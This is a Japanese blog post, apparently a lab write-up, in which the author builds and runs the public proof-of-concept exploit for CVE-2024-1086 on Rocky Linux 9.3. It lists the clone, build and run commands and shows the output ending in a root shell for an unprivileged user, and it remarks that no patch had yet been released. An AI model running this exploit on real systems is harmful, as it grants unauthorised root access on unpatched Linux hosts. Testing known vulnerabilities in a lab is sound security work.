サーバセキュリティ

CVE-2024-1086 (特権昇格の脆弱性) の PoC を試してみた

実験内容

基本的には以下の PoC の通り。

GitHub - Notselwyn/CVE-2024-1086: Universal local privilege escalation Proof-of-Concept exploit for CVE-2024-1086, working on most Linux kernels between v5.14 and v6.6, including Debian, Ubuntu, and KernelCTF. The success rate is 99.4% in KernelCTF images.
Universal local privilege escalation Pro...

試した環境

Rocky Linux 9.3 (Kernel 5.14.0-362.24.1.el9_3.0.1.x86_64)

準備

root にて /root ディレクトリで以下を実行。

必要なパッケージをインストール

# dnf install git gcc make tar

musl をインストール

# curl -LO http://www.musl-libc.org/releases/musl-1.1.20.tar.gz
# tar xzvf musl-1.1.20.tar.gz
# cd musl-1.1.20
# ./configure
# make install

PATH を通す

# export PATH=$PATH:/root/musl-1.1.20/obj/

攻撃コードをダウンロードし make

# git clone https://github.com/Notselwyn/CVE-2024-1086
# cd CVE-2024-1086
# make

実行

test ユーザーを作成し、その test ユーザーの home ディレクトリに攻撃コードを配置し、test ユーザーになる。

# useradd test
# mv exploit /home/test/
# su - test

test ユーザーで攻撃コードを実行。

[test@localhost ~]$ ./exploit

うまくいけば以下のように root になれる。

[*] creating user namespace (CLONE_NEWUSER)...
[*] creating network namespace (CLONE_NEWNET)...
[*] setting up UID namespace...
[*] configuring localhost in namespace...
[*] setting up nftables...
[+] running normal privesc
[*] waiting for the calm before the storm...
[*] sending double free buffer packet...
[*] spraying 16000 pte's...
[*] checking 16000 sprayed pte's for overlap...
[+] confirmed double alloc PMD/PTE
[+] found possible physical kernel base: 000000002b600000
[+] verified modprobe_path/usermodehelper_path: 000000002d25f840 ('/sanitycheck')...
[*] overwriting path with PIDs in range 0->4194304...
sh: cannot set terminal process group (-1): Inappropriate ioctl for device
sh: no job control in this shell
sh-5.1# whoami
root
sh-5.1#

ただし、失敗したり、OS 再起動になったりすることがある。何度か試す必要あり。

その他

2024/4/12 時点でまだ RedHat からもパッチはリリースされていない様子。

コメント

タイトルとURLをコピーしました